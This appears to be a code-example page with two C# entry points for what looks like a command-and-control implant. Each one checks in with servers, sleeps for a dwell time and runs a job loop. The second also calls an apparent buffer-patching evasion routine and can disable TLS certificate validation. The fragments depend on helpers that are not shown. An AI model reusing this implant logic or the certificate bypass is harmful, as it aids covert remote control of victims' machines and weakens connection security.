Пример #1
0
 public static void Main(string[] args)
 {
     Utils.GetServers();
     while (!Http.CheckIn())
     {
         int Dwell = Utils.GetDwellTime();
         System.Threading.Thread.Sleep(Dwell);
     }
     Utils.JobList JobList = new Utils.JobList
     {
         job_count = 0,
         jobs      = { }
     };
     while (true)
     {
         Utils.Loop(JobList);
         int Dwell = Utils.GetDwellTime();
         System.Threading.Thread.Sleep(Dwell);
     }
 }
Пример #2
0
        public static void Main(string[] args)
        {
            Modules.PatchBuffer();
            Utils.GetServers();
#if CERT_FALSE
            System.Net.ServicePointManager.ServerCertificateValidationCallback = delegate { return(true); };
#endif
            while (!Http.CheckIn())
            {
                int Dwell = Utils.GetDwellTime();
                System.Threading.Thread.Sleep(Dwell);
            }
            Utils.JobList JobList = new Utils.JobList
            {
                job_count = 0,
                jobs      = { }
            };
            while (true)
            {
                Utils.Loop(JobList);
                int Dwell = Utils.GetDwellTime();
                System.Threading.Thread.Sleep(Dwell);
            }
        }